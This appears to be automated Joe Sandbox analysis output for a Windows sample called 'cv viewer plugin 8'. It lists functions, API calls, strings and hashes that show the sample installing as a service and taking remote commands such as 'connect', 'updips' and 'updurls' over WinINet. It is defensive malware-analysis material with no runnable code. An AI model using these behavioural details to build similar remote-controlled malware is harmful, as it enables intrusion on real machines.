Opcode Fuzzy Hash: 3afb43cc3dedd2849d90584800b0b4b1cc754ecdd9339dbac4238ad8ee4012bf
Instruction Fuzzy Hash: 74318B71D00218EADB21AFA5CD849EFBBB9FF41750F20407AE554B32A0E7785E45CB98

Function 00402EB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00402ED6

Part of subcall function 00403FF4: HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F0F,00000000), ref: 00404005
Part of subcall function 00403FF4: HeapDestroy.KERNEL32 ref: 00404044

GetCommandLineA.KERNEL32 ref: 00402F24
GetStartupInfoA.KERNEL32(?), ref: 00402F4F
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402F72

Part of subcall function 00402FCB: ExitProcess.KERNEL32 ref: 00402FE8

Strings

Y, xrefs: 00402F3E

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID: Y
API String ID: 2057626494-4136946213
Opcode ID: bde1f74d60b81ae7252d13bfcbc661632079e5aa7379041ec1857b7291440294
Instruction ID: ae24bdd31f92ba5c0019e7eb98566f973638ce5b9b082510a96f2684413349a7
Opcode Fuzzy Hash: bde1f74d60b81ae7252d13bfcbc661632079e5aa7379041ec1857b7291440294
Instruction Fuzzy Hash: 3721A1B1840615ABDB14AFA6DE4AA6E7FB8EF44705F10413FF501B72D1DB384500CB58

Function 00402715 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

/chk, xrefs: 0040D3C8

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID: /chk
API String ID: 0-3837807730
Opcode ID: 041d0f14a923b82a6c3021906bd1a3eff53d0db1b8c09e981d880e2dbe50ce4f
Instruction ID: abca926218db33814d0e386390dc92075aaaeddfe6fa786c26165fc9e58d726a
Opcode Fuzzy Hash: 041d0f14a923b82a6c3021906bd1a3eff53d0db1b8c09e981d880e2dbe50ce4f
Instruction Fuzzy Hash: D3119E31945222FFC70267704E4999837A0BA16744360417BD882FB2D1D37D884BE3DF

Function 0040D458 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 0040D45C

Memory Dump Source

Source File: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: b5fc6ee14610f6b693ca5c07d87a9bd7fc608215c552859115a083d7c793dac0
Instruction ID: b9e6f3ce6bba2d47b96b741d0e55b377b0e4ed0441961095dc5480d58c32acb9
Opcode Fuzzy Hash: b5fc6ee14610f6b693ca5c07d87a9bd7fc608215c552859115a083d7c793dac0
Instruction Fuzzy Hash: 73B0122000D3D09ECB0213200E180603F645D0F30130520E280C9580938534000EA61A

Function 0040D274 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 0040D45C

Memory Dump Source

Source File: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: c00e74b19ae621a7deadbf3e99bb00879fc209d69179b3c58daa50a486d6922b
Instruction ID: 8acdd858522255d762781590da5c1b6f26d2790912bac70c602002f2113feaf7
Opcode Fuzzy Hash: c00e74b19ae621a7deadbf3e99bb00879fc209d69179b3c58daa50a486d6922b
Instruction Fuzzy Hash: DFA0027040C212DAC50037D05F4C475262CA60E356B215476A14FB41D6CA78104FB93F

Function 016A72A7 Relevance: 95.2, APIs: 41, Strings: 13, Instructions: 659
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(0000EA60), ref: 016A6704
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A670F
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A6720
_memset.LIBCMT ref: 016A6775
_memset.LIBCMT ref: 016A6784
InternetOpenA.WININET(?), ref: 016A72B1
InternetSetOptionA.WININET(00000000,00000002,?), ref: 016A72D9
InternetSetOptionA.WININET(00000000,00000005,00001388,00000004), ref: 016A72F1
InternetSetOptionA.WININET(00000000,00000006,00001388,00000004), ref: 016A7309
_memset.LIBCMT ref: 016A7319
InternetOpenUrlA.WININET(00000000,?,?,000000FF,04000200), ref: 016A7332
InternetReadFile.WININET(00000000,?,00001000,?), ref: 016A7354
InternetCloseHandle.WININET(00000000), ref: 016A7374
InternetCloseHandle.WININET(00000000), ref: 016A737F
_memset.LIBCMT ref: 016A73C7
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A73EA
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A73FB
_malloc.LIBCMT ref: 016A7494
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A74A6
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A74B2
_memset.LIBCMT ref: 016A74CC
_memset.LIBCMT ref: 016A74DB
_memset.LIBCMT ref: 016A74EB
_memset.LIBCMT ref: 016A74FE
_memset.LIBCMT ref: 016A7514
_malloc.LIBCMT ref: 016A758A
_memset.LIBCMT ref: 016A759B
_strtok.LIBCMT ref: 016A75BB
_swscanf.LIBCMT ref: 016A75D2
_strtok.LIBCMT ref: 016A75E9
_free.LIBCMT ref: 016A75F5
Sleep.KERNEL32(000007D0), ref: 016A76ED
_memset.LIBCMT ref: 016A7761
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A776E
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A7780
_sprintf.LIBCMT ref: 016A781E
RtlEnterCriticalSection.NTDLL(00000020), ref: 016A78E2
RtlLeaveCriticalSection.NTDLL(00000020), ref: 016A7916

Strings

%d;, xrefs: 016A7818
, xrefs: 016A7A90
auth_swith, xrefs: 016A7533
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 016A6735
auth_ip, xrefs: 016A755F, 016A77F0
block, xrefs: 016A75A3
disconnect, xrefs: 016A7415, 016A773E
updips, xrefs: 016A743D, 016A77CC
idle, xrefs: 016A7429, 016A7799
urls, xrefs: 016A7B32
<htm, xrefs: 016A738D
updurls, xrefs: 016A7451, 016A7AFC
connect, xrefs: 016A7401, 016A746C

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: _memset$CriticalSection$Internet$EnterLeave$Option$CloseHandleOpenSleep_malloc_strtok$FileRead_free_sprintf_swscanf
String ID: $%d;$<htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls$urls
API String ID: 696907137-1839899575
Opcode ID: 36b2bd9c99e36ce615f23ceb08345394677c1685d45acf75402c66af59d0fa42
Instruction ID: b6f629115f42f195937e5ba4b427e19c7c217a4825429d1caf8b2b6eb7d3e1d2
Opcode Fuzzy Hash: 36b2bd9c99e36ce615f23ceb08345394677c1685d45acf75402c66af59d0fa42
Instruction Fuzzy Hash: 62321231509382AFD730AB64CC40BEFBBE6AF95310F54082DF58997291EB71A944CF96

Function 0040235E Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 93
registrysynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0040238D
SetServiceStatus.ADVAPI32(0040C408), ref: 0040239E
SetEvent.KERNEL32 ref: 004023AA
RegisterServiceCtrlHandlerA.ADVAPI32(cv viewer plugin 8.31.40,0040235E), ref: 004023C1
SetServiceStatus.SECHOST(0040C408), ref: 00402420
GetLastError.KERNEL32 ref: 00402422
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040242F
GetLastError.KERNEL32 ref: 00402450
SetServiceStatus.ADVAPI32(0040C408), ref: 00402480
CreateThread.KERNELBASE(00000000,00000000,Function_000022CB,00000000,00000000,00000000), ref: 0040248C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402495
CloseHandle.KERNEL32 ref: 004024A1
SetServiceStatus.ADVAPI32(0040C408), ref: 004024CA

Strings

cv viewer plugin 8.31.40, xrefs: 004023BC

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Service$Status$ErrorLast$CreateEvent$CloseCtrlHandleHandlerObjectRegisterSingleThreadWait
String ID: cv viewer plugin 8.31.40
API String ID: 1146649175-1065624713
Opcode ID: 6e22bcf1a49f53f178e58c6dfae594d9b8a648071703c43772e3066ef5dbfd72
Instruction ID: 2c5ef1149cd964d13f04c3a7fa45fc58864e945b550645c9537f471364d5459d
Opcode Fuzzy Hash: 6e22bcf1a49f53f178e58c6dfae594d9b8a648071703c43772e3066ef5dbfd72
Instruction Fuzzy Hash: AE311671440210EBC3109F26EFE9A267FA8FB95795B11863AE544B22B2C7B90509CF6D

Function 016A1CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 016A1D11
GetLastError.KERNEL32 ref: 016A1D23

Part of subcall function 016A1712: __EH_prolog.LIBCMT ref: 016A1717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 016A1D59
GetLastError.KERNEL32 ref: 016A1D6B
__beginthreadex.LIBCMT ref: 016A1DB1
GetLastError.KERNEL32 ref: 016A1DC6
CloseHandle.KERNEL32(00000000), ref: 016A1DDD
CloseHandle.KERNEL32(00000000), ref: 016A1DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 016A1E14
FindCloseChangeNotification.KERNELBASE(00000000), ref: 016A1E1B

Strings

thread, xrefs: 016A1DFB
thread.entry_event, xrefs: 016A1D3C
thread.exit_event, xrefs: 016A1D84

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$CreateEventHandle$ChangeFindH_prologNotificationObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 4246062733-3017686385
Opcode ID: bb64a582303ae9deac5a853f37e4d882b160fa2380c9e8af7b8808ad19db11c0
Instruction ID: c42f3407ffefcdd4beb2181f38803d43754b816dba0e51a5e534eb01af15266f
Opcode Fuzzy Hash: bb64a582303ae9deac5a853f37e4d882b160fa2380c9e8af7b8808ad19db11c0
Instruction Fuzzy Hash: 6D318775A003029FDB10EF24CC88B2BBBA9FB95650F10496DF9558B394DB709D49CFA2

Function 016A4603 Relevance: 19.9, APIs: 13, Instructions: 442
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 016A4608

Part of subcall function 016B3B4C: _malloc.LIBCMT ref: 016B3B64

htons.WS2_32(?), ref: 016A4669
htonl.WS2_32(?), ref: 016A468C
htonl.WS2_32(00000000), ref: 016A4693
htons.WS2_32(00000000), ref: 016A4747
_sprintf.LIBCMT ref: 016A475D

Part of subcall function 016A898C: _memmove.LIBCMT ref: 016A89AC

htons.WS2_32(?), ref: 016A46B0

Part of subcall function 016A9737: __EH_prolog.LIBCMT ref: 016A973C
Part of subcall function 016A9737: RtlEnterCriticalSection.NTDLL(00000020), ref: 016A97B7
Part of subcall function 016A9737: RtlLeaveCriticalSection.NTDLL(00000020), ref: 016A97D5

Part of subcall function 016A1BA7: __EH_prolog.LIBCMT ref: 016A1BAC
Part of subcall function 016A1BA7: RtlEnterCriticalSection.NTDLL ref: 016A1BBC
Part of subcall function 016A1BA7: RtlLeaveCriticalSection.NTDLL ref: 016A1BEA
Part of subcall function 016A1BA7: RtlEnterCriticalSection.NTDLL ref: 016A1C13
Part of subcall function 016A1BA7: RtlLeaveCriticalSection.NTDLL ref: 016A1C56

Part of subcall function 016ADEF3: __EH_prolog.LIBCMT ref: 016ADEF8

htonl.WS2_32(?), ref: 016A497C
htonl.WS2_32(00000000), ref: 016A4983
htonl.WS2_32(00000000), ref: 016A49C8
htonl.WS2_32(00000000), ref: 016A49CF
htons.WS2_32(?), ref: 016A49EF
htons.WS2_32(?), ref: 016A49F9

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSectionhtonl$htons$H_prolog$EnterLeave$_malloc_memmove_sprintf
String ID:
API String ID: 1645262487-0
Opcode ID: 99ad90c3faa92967f7bd0e874b563c7eecde9432bba1510f63d12e67f27e6fd9
Instruction ID: 805dea724b17bd46fd5d592bf662a1b504c332c9b64144f0ed918d42eadecafb
Opcode Fuzzy Hash: 99ad90c3faa92967f7bd0e874b563c7eecde9432bba1510f63d12e67f27e6fd9
Instruction Fuzzy Hash: 83026871C0125AEEDF11DBA4CC44BEEBBB9AF18304F54415AE505A7280DBB46E88CFA5

Function 016A4D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 016A4D8B
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A4DB7
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A4DC3

Part of subcall function 016A4BED: __EH_prolog.LIBCMT ref: 016A4BF2
Part of subcall function 016A4BED: InterlockedExchange.KERNEL32(?,00000000), ref: 016A4CF2

RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A4E93
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A4E99
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A4EA0
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A4EA6
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A50A7
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A50AD
RtlEnterCriticalSection.NTDLL(016D71E0), ref: 016A50B8
RtlLeaveCriticalSection.NTDLL(016D71E0), ref: 016A50C1

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: 3ccbf40577d6a20c12059c26810050d3b4220fb638188504f7fb8e36af882111
Instruction ID: 019b0bfad09e11321a81ac5f0490a0ebce7de1cb65bb2a39dbd02a9ae512bc24
Opcode Fuzzy Hash: 3ccbf40577d6a20c12059c26810050d3b4220fb638188504f7fb8e36af882111
Instruction Fuzzy Hash: 15B17971D0025E9FDF21DFA4CC40BEEBBB5AF14304F64409AE505A7281DBB45A49CF96

Function 016A26DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 016A2706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 016A272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,016C5B53), ref: 016A2738

Part of subcall function 016A1712: __EH_prolog.LIBCMT ref: 016A1717

SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 016A2778
RtlLeaveCriticalSection.NTDLL(?), ref: 016A27D9

Strings

timer, xrefs: 016A2745

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: 39e887e2b0ea1eb3c3d3c2857447751819e145139625cdff493878b56ff4490f
Instruction ID: ea865469ff8e8dd493792413a966d03658cf569054b8f820d9f5928f34f33be9
Opcode Fuzzy Hash: 39e887e2b0ea1eb3c3d3c2857447751819e145139625cdff493878b56ff4490f
Instruction Fuzzy Hash: 2A318BB1504706AFD310DF29CD84B66BBE8FB48B24F40462EF96582680D770E910CFA5

Function 016A29EE Relevance: 7.6, APIs: 5, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 016A2A3B
closesocket.WS2_32 ref: 016A2A42
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 016A2A89
WSASetLastError.WS2_32(00000000,?,8004667E,00000000), ref: 016A2A97
closesocket.WS2_32 ref: 016A2A9E

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocket$ioctlsocket
String ID:
API String ID: 1561005644-0
Opcode ID: d98bab9469ca43c18244f2c02750d074a3ba45e8b193436f07aed3241ef44bc2
Instruction ID: 2e6cd895cd7438c3f026e6316846ab8decb09ca925022418ac506512658c7990
Opcode Fuzzy Hash: d98bab9469ca43c18244f2c02750d074a3ba45e8b193436f07aed3241ef44bc2
Instruction Fuzzy Hash: EB210871A1020AAFDB309FBC9D6866ABAEAAF44215F14856EFA55C3241EB74CD40CF50

Function 016A1BA7 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A1BAC
RtlEnterCriticalSection.NTDLL ref: 016A1BBC
RtlLeaveCriticalSection.NTDLL ref: 016A1BEA
RtlEnterCriticalSection.NTDLL ref: 016A1C13
RtlLeaveCriticalSection.NTDLL ref: 016A1C56

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: 06873921d0d140c1d715378f08ca449e092b31b15c0a3afffcf27dcfd5b75f4e
Instruction ID: 127a428f2fecc6c559c7fc5e02e5242ec594d9be40e56be6bd5e537405ece210
Opcode Fuzzy Hash: 06873921d0d140c1d715378f08ca449e092b31b15c0a3afffcf27dcfd5b75f4e
Instruction Fuzzy Hash: C42168B5A002059FDB15CF68C984BAABBA5FF49720F10818AE81A97301D775ED01CFA0

Function 016A2EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 016A2EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 016A2EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 016A2F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 016A2F36

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 745af3e7a470d5997e1bb8d674a2201dc096270af0b2ab132881a2772a31253c
Instruction ID: 9e05b4ba9976b0ae4d98566eb6c18d61e43d10470006765e015311fc56cd5fb5
Opcode Fuzzy Hash: 745af3e7a470d5997e1bb8d674a2201dc096270af0b2ab132881a2772a31253c
Instruction Fuzzy Hash: 09017571650214BFDB305F69DC89BABBBADEB89771F00C569F918CB281D775C8008BA0

Function 016A2DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 016A2D39: WSASetLastError.WS2_32(00000000), ref: 016A2D47
Part of subcall function 016A2D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 016A2D5C

WSASetLastError.WS2_32(00000000), ref: 016A2E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 016A2E83

Strings

3', xrefs: 016A2E22

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: c0ab25509d2fa021cbef58e8aceb2e8ca5045c96f6ae462b19507702e6c452fa
Instruction ID: 4c36a4f0a68a3e16407250e43b30fd747aab23669b15f13fbf2f660d61dee1bd
Opcode Fuzzy Hash: c0ab25509d2fa021cbef58e8aceb2e8ca5045c96f6ae462b19507702e6c452fa
Instruction Fuzzy Hash: 3931BE71A1021A9FDF11AFA4CC657EEBBFAAF14314F40445DE90497241E7B599818FE0

Function 016A9669 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000,?,?,?,?,?,?,?,016A83D3,?,?,00000000), ref: 016A96D0
getsockname.WS2_32(?,?,?), ref: 016A96E6

Strings

&', xrefs: 016A9719

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLastgetsockname
String ID: &'
API String ID: 566540725-655172784
Opcode ID: 1c04f03745ef82709174e9de739b3f0f66e4661c8c0ed68b7e503576b5463359
Instruction ID: 7040d1472380d15ac03a0beb2607514adc5a42a20dce667aa6ca36a031da323b
Opcode Fuzzy Hash: 1c04f03745ef82709174e9de739b3f0f66e4661c8c0ed68b7e503576b5463359
Instruction Fuzzy Hash: 55217C72A102199FDB10DF68DC44ADEBBF5FF48324F20856AE818EB280D735E9458B94

Function 016A2AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 016A2AEA
connect.WS2_32(?,?,?), ref: 016A2AF5

Strings

3', xrefs: 016A2B3B

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: 757df049666be7dc0e310e8781e115b44a8efda06044451a8bc3d8348485f5fc
Instruction ID: f59565d922213d05f1b8aa540790d3e06cea25e69c59f3ff3b3aa1c7292b567e
Opcode Fuzzy Hash: 757df049666be7dc0e310e8781e115b44a8efda06044451a8bc3d8348485f5fc
Instruction Fuzzy Hash: 3A21AA70E101199BDF14AFA8CC646EEBBBAAF54324F40459DED1897380DB748D418F95

Function 016A353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A3543

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 80d486c79619da2958a8e8359507a0b61f48fdfd6b22d2a455a26d0fdbdbfb0c
Instruction ID: 3edf6436fcfe86f8573f5da3732abd96ccfa68e3cfb6e16d5ef117a1e3c11522
Opcode Fuzzy Hash: 80d486c79619da2958a8e8359507a0b61f48fdfd6b22d2a455a26d0fdbdbfb0c
Instruction Fuzzy Hash: E8514DB1A04216DFDB04CF68C9516AABBF1FF19320F10815EE8699B380D774D911CFA0

Function 016A369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 016A36A7

Part of subcall function 016A2420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 016A2432
Part of subcall function 016A2420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 016A2445
Part of subcall function 016A2420: RtlEnterCriticalSection.NTDLL(?), ref: 016A2454
Part of subcall function 016A2420: InterlockedExchange.KERNEL32(?,00000001), ref: 016A2469
Part of subcall function 016A2420: RtlLeaveCriticalSection.NTDLL(?), ref: 016A2470

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: f3f41a2af00a7aa58cb0c34e78f0e1422f091ad520228162d13bfd3bf72cf294
Instruction ID: 387b8ac9e9630ce1d0756871ca2c016c749cbe84c268d48caec3867f188fb57d
Opcode Fuzzy Hash: f3f41a2af00a7aa58cb0c34e78f0e1422f091ad520228162d13bfd3bf72cf294
Instruction Fuzzy Hash: 8D1191B5200209ABDF219E58DC85FBA3F6AFF54750F50411AFA56CA390C734DC618F98

Function 016B20F0 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 016B2106
CloseHandle.KERNEL32(?,?,?,?,?,00000002,016AA989,00000000), ref: 016B2137
ResumeThread.KERNELBASE(?,?,?,?,?,00000002,016AA989,00000000), ref: 016B2145

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: d16cb1ebb5a9ec1c1b3b8c0c554afb15882b3770f3ee3b8b3b7e109d8da9b188
Instruction ID: 14162cb8974540b6eec6e7301d29545ecdea95b6e00fefcd52a3899f58d72e79
Opcode Fuzzy Hash: d16cb1ebb5a9ec1c1b3b8c0c554afb15882b3770f3ee3b8b3b7e109d8da9b188
Instruction Fuzzy Hash: 2FF0AF74300201ABE7209E5CDCD0B95B3E9BB58326F24052EF354C7380C771A8928B90

Function 016A1AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(016D72B4), ref: 016A1ABA
WSAStartup.WS2_32(00000002,00000000), ref: 016A1ACB
InterlockedExchange.KERNEL32(016D72B8,00000000), ref: 016A1AD7

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: 1186724e94ae0d6ba1f3a30e22d5774110805ad6847e42cc873ea50e5e76b8f5
